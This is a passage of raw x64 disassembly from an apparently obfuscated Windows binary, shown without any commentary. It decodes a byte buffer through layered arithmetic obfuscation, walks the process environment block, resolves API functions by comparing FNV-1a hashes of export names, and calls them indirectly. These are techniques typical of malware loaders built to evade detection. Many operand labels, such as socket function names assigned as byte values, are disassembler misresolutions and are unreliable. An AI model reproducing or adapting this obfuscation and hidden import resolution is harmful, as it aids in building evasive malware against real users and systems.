and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x61
jmp 0x14014255a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014228a
movabs rdx, 0x673c6b83e24b82d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x140142453
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401420a2
movabs rcx, 0x5d0fb7eee5fdc6ef
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x77
jmp 0x140142584
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401422e9
movabs rdx, 0x359592f7899c6bd4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140142584
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140142313
movabs rdx, 0xe2cd7564d94e8958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x14014241f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014233a
movabs rdx, 0xe6a14908d0d9b59e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14014238f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401420d7
movabs rdx, 0xea751cacc864e1e4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401421ff
movabs rdx, 0x97acff1a1816ff68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x420]
add bl, r8b
add bl, dl
movabs rdx, 0xc2faf7b56c0386c9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x7f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x420], cl
jmp 0x140142557
movabs rdx, 0xee48f050bff00e2a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x420]
sub bl, 0x26
jmp 0x14014241f
movabs rcx, 0x4244ee73212f9105
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x23
jmp 0x140142453
movabs rdx, 0xeba8fd3c79568243
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x2b
add bl, dl
movabs rdx, 0x1996e8ec13dc958b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x420], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x44e4e18767c91cec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x74
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140142584
movabs rcx, 0x950d0c05d17d7381
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x79
jmp 0x14014255a
movabs rcx, 0x3e711acf29a464bf
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x39
jmp 0x140142557
movabs rcx, 0xe40155f48a4029b7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
movabs rcx, 0x6c5f067ec42a7807
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x31
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
jmp 0x140142531
movabs rcx, 0xe02d825092b4fd71
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x17
add r10, r15
sub r9, r15
jmp 0x140142593
movabs rcx, 0xdc59aeac9b29d12b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2d
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140142593
movabs rcx, 0x81e9e9d1fbc59623
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0xb
movzx eax, byte [rbp + r9 + 0x420]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140141a59
movabs rcx, 0x7f8228b299e25565
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x3d
jmp 0x140141a54
movabs rcx, 0x28e6377bf20946a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
jmp 0x140141a44
lea rsi, [rbp + 0x16af94c]
jmp 0x1401425fa
lea rsi, [rbp + 0x5780ad]
jmp 0x1401425fa
lea rsi, [rbp + 0x420]
mov byte [rbp + 0x1030], 0xe1
mov byte [rbp + 0x1031], 0xad
mov byte [rbp + 0x1032], Ordinal_60
mov byte [rbp + 0x1033], 0xab
mov byte [rbp + 0x1034], 0xc0
mov byte [rbp + 0x1035], 0xa9
mov byte [rbp + 0x1036], 0xbb
mov byte [rbp + 0x1037], Ordinal_217
mov byte [rbp + 0x1038], Ordinal_79
mov byte [rbp + 0x1039], Ordinal_217
mov byte [rbp + 0x103a], 0xb3
mov byte [rbp + 0x103b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x103c], 0xf0
mov byte [rbp + 0x103d], Ordinal_211
mov byte [rbp + 0x103e], 0xae
mov byte [rbp + 0x103f], 0xdf
mov byte [rbp + 0x1040], 0x42
mov byte [rbp + 0x1041], 0xdd
mov byte [rbp + 0x1042], Ordinal_79
mov byte [rbp + 0x1043], 0xdb
mov byte [rbp + 0x1044], 0x44
mov byte [rbp + 0x1045], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1046], 0xab
mov byte [rbp + 0x1047], Ordinal_200
mov byte [rbp + 0x1048], 0xab
mov byte [rbp + 0x1049], Ordinal_200
mov byte [rbp + 0x104a], 0x5e
mov byte [rbp + 0x104b], Ordinal_200
mov byte [rbp + 0x104c], 0xa9
mov byte [rbp + 0x104d], 0xc1
mov byte [rbp + 0x104e], 0x5d
mov byte [rbp + 0x104f], Ordinal_211
mov byte [rbp + 0x1050], 0x5e
mov byte [rbp + 0x1051], Ordinal_211
mov byte [rbp + 0x1052], 0xea
mov byte [rbp + 0x1053], 0xcb
mov byte [rbp + 0x1054], 0x9d
mov byte [rbp + 0x1055], 0xc9
mov byte [rbp + 0x1056], Ordinal_217
mov byte [rbp + 0x1057], 0xf7
mov byte [rbp + 0x1058], __WSAFDIsSet
mov byte [rbp + 0x1059], 0xf5
mov byte [rbp + 0x105a], Ordinal_211
mov byte [rbp + 0x105b], 0xf3
mov byte [rbp + 0x105c], 0xbd
mov byte [rbp + 0x105d], 0xf1
mov byte [rbp + 0x105e], 0x60
mov byte [rbp + 0x105f], 0xff
mov byte [rbp + 0x1060], 0x62
mov byte [rbp + 0x1061], 0xfd
mov byte [rbp + 0x1062], WSAGetLastError
mov byte [rbp + 0x1063], 0xfb
mov byte [rbp + 0x1064], 0x66
mov byte [rbp + 0x1065], 0xf9
mov byte [rbp + 0x1066], Ordinal_200
mov byte [rbp + 0x1067], 0xe7
mov byte [rbp + 0x1068], 0xa9
mov byte [rbp + 0x1069], 0xe5
mov byte [rbp + 0x106a], 0x76
mov byte [rbp + 0x106b], 0xe3
mov byte [rbp + 0x106c], Ordinal_143
mov byte [rbp + 0x106d], 0xe1
mov byte [rbp + 0x106e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x106f], 0xef
mov byte [rbp + 0x1070], Ordinal_143
mov byte [rbp + 0x1071], 0xed
mov byte [rbp + 0x1072], 0x76
mov byte [rbp + 0x1073], 0xeb
mov byte [rbp + 0x1074], 0x81
mov byte [rbp + 0x1075], 0xe9
mov byte [rbp + 0x1076], 0x84
mov byte [rbp + 0x1077], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1078], 0x7f
mov byte [rbp + 0x1079], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x107a], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x107b], reloc.WS2_32.dll_send
mov byte [rbp + 0x107c], 0x64
mov byte [rbp + 0x107d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x107e], Ordinal_143
mov byte [rbp + 0x107f], Ordinal_32
mov byte [rbp + 0x1080], 0x7d
mov byte [rbp + 0x1081], Ordinal_32
mov byte [rbp + 0x1082], 0x76
mov byte [rbp + 0x1083], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x1084], 0x75
mov byte [rbp + 0x1085], Ordinal_27
mov byte [rbp + 0x1086], 0x98
mov byte [rbp + 0x1087], 7
mov byte [rbp + 0x1088], Ordinal_41
mov byte [rbp + 0x1089], 5
mov byte [rbp + 0x108a], 0x67
mov byte [rbp + 0x108b], 3
xor eax, eax
mov byte [rbp + 0x108c], al
mov byte [rbp + 0x108d], r15b
mov dword [rbp + 0x108e], eax
mov word [rbp + 0x1092], ax
mov byte [rbp + 0x1094], al
movabs r14, 0x6c3a2f70dd85363a
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x65
jae 0x14014345a
movzx r9d, byte [rbp + r10 + 0x1030]
mov r8, r9
cmp rdi, r10
ja 0x140143451
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140142904
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x140142931
je 0x1401433c4
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014333c
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014330d
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401432bd
cmp r11, r10
ja 0x140143448
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jae 0x140142966
movabs rdx, 0xe0c5e4422bed72c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401429b4
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14014326e
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014324b
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140143227
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140143205
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401431df
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401431b9
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x140142e91
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140142e70
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x140142e4a
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140142e36
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140142e22
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x140142dff
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140142ddc
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x140142dbb
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140142da7
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x140142d93
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x1401429c1
mov rdi, rax
lea r11, [rax + 1]
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x140143422
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x1401433fc
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140142bbf
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140142b9d
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140142b7b
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140142d7c
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x140142d68
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140142d16
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x140142ceb
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401429c1
lea rdi, [r11 + 0x3e8]
lea r11, [rdi + 0x3e8]
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x140142cc8
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x140142ca7
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140142c85
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x140142c71
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140142c5d
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140142c49
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140142c26
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140142c03
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140142be2
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401429c1
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x10]
jmp 0x1401429c1
movabs rcx, 0xc397c2484754717e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
jmp 0x1401429b4
movabs rcx, 0xeb2363668c4a050a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x140142931
movabs rdx, 0x12af0484d13f9896
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x1401428d6
movabs rdx, 0x62f22115f6b9610
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14014328a
movabs rcx, 0x2dbac32fa461299c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x1401432b2
movabs rcx, 0x5546644de956bd28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x1401432b5
movabs rdx, 0x7cd2056c2e4c50b4
mov ecx, 0xa
jmp 0x140143234
movabs rdx, 0xa45da68a7341e440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140143026
movabs rdx, 0xcbe947a8b83777cc
mov ecx, gethostname
jmp 0x140143055
movabs rcx, 0xf374e8c6fd2d0b58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14014335d
movabs rdx, 0x1b0089e542229ee4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
jmp 0x140142f82
movabs rcx, 0x428c2b0387183270
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x1401433e5
movabs rcx, 0x25693dcf337e234e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x1030], bl
jmp 0x1401433f4
movabs rdx, 0x4cf4deed7873b6da
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r11, 0x1000
jb 0x140142d09
movabs rdx, 0x1f2ee6f843139b1c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014328c
movabs rdx, 0x7480800bbd694a66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x140142ee0
movabs rdx, 0x9c0c212a025eddf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x140142ea7
movabs rdx, 0x44a3598d0790b08c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140142f43
movabs rdx, 0x6c2efaab4c864418
mov ecx, Ordinal_46
jmp 0x140142f72
movabs rdx, 0x93ba9bc9917bd7a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x1401431b2
movabs rcx, 0xbb463ce7d6716b30
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x14014332a
movabs rcx, 0xe2d1de061b66febc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x140143308
movabs rdx, 0xa5d7f24605c9248
mov ecx, 4
jmp 0x1401432cc
movabs rdx, 0x31e92042a55225d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14014325a
movabs rdx, 0x5974c160ea47b960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401432b2
movabs rdx, 0x8100627f2f3d4cec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x14014328a
lea rax, [r11 + 0x10]
cmp rdi, rax
jae 0x140142f2b
lea rdx, [r10 + r14]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0x20
je 0x14014318e
lea rax, [r11 + 0x20]
cmp rdi, rax
jbe 0x140142ff4
movabs rdx, 0xc9dd4de4c8bdebd2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x140143165
lea rcx, [r11 + 3]
cmp rdi, rcx
jbe 0x14014309c
movabs rcx, 0xaaa33226f4ab5e94
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x140142d37
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140142f5a
movabs rdx, 0xc18bc88457dae584
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401433e5
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140142f89
movabs rdx, 0x9a00276612e551f8
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143391
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140142fa6
movabs rdx, 0x72748647cdefbe6c
mov ecx, 6
jmp 0x1401431ee
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140142fc3
movabs rdx, 0xd44601ceba19703c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14014325a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140142eb6
movabs rdx, 0x852ebf92302e4924
mov ecx, 2
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14014328a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014300e
movabs rdx, 0xa251acc683c85846
mov ecx, ntohl
jmp 0x140142fdf
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14014303d
movabs rdx, 0x423284d6ff20a16
mov ecx, 0x33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140143308
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14014306c
movabs rdx, 0xdc97872f2afc768a
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014332a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140142ef2
movabs rcx, 0x65f4a3d45c1bbbe6
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x4a
jmp 0x1401433e5
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401430c8
movabs rcx, 0x83179108afb5cb08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x1401433e5
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401430f2
movabs rdx, 0x5b8befea6ac0377c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x140142f82
cmp rdi, rcx
jne 0x14014310b
movabs rdx, 0x34004ecc25caa3f0
mov ecx, Ordinal_60
jmp 0x1401431ee
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140143135
movabs rdx, 0xbd5d6b7156e9e94c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x140143244
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140142d37
movabs rcx, 0x95d1ca5311f455c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x1401432b5
movabs rdx, 0xf7a345d9fe1e0790
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x1030]
jmp 0x1401432d9
movabs rdx, 0xd017a4bbb9287404
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x1030]
sub bl, 0x1c
add bl, dl
jmp 0x14014335d
movabs rdx, 0x7cdd3a31bf4b42d6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401433e5
movabs rdx, 0xcbf47c6e493669ee
mov ecx, 0x3f
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014335d
movabs rcx, 0xf3801d8c8e2bfd7a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x56
jmp 0x14014332a
movabs rdx, 0x42975fc918172492
mov ecx, r15d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401432de
movabs rdx, 0x6a2300e75d0cb81e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401432b5
movabs rdx, 0xb93a4323e6f7df36
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x8b6916692098d156
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5a
add r9b, cl
mov byte [rbp + r10 + 0x1030], r9b
add r11, r15
sub r10, r15
jmp 0x1401433f4
movabs rdx, 0x7ef468bb3fc3c0f2
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x63dd754adba33dca
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x1030], dl
add rdi, r11
jmp 0x14014332a
movabs rcx, 0xce0baaf7c9aee80a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401433f4
mov r9, r8
movabs rcx, 0xf5974c160ea47b96
add rcx, r10
and r8b, cl
add r8b, r8b
mov bl, r9b
sub bl, r8b
sub bl, 0x1a
add bl, cl
movabs rdx, 0x3c51d42c96adaa3e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1030], al
add r11, r15
add rax, r11
sub r10, rax
movabs rcx, 0xa88c039d7432e078
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x1030], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401433e5
movabs rdx, 0x44ae8e52988fa2ae
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x1030]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401428c3
movabs rdx, 0x3a3aa5a316352c22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401428be
movabs rdx, 0x61c646c15b2abfae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401428ae
lea rdx, [rbp + 0x1407f28]
jmp 0x140143461
lea rdx, [rbp + 0x45b562]
jmp 0x140143461
lea rdx, [rbp + 0x1030]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x1401435e7
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401434ee
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401434e0
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401434cf
cmp r9d, esi
jne 0x1401435d2
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401435d2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401435d2
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x14014354b
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14014353e
cmp r8d, r14d
je 0x140143561
test r10d, r10d
jne 0x140143528
jmp 0x1401435d2
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401435da
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401435da
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401435a3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140143595
jmp 0x1401435b8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401435ab
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14014349e
mov qword [0x1404fc118], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x14014375d
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014366f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143661
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143650
cmp r8d, esi
jne 0x14014373f
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x14014373f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014373f
mov r11d, dword [r10 + 0x20]
dec r9d
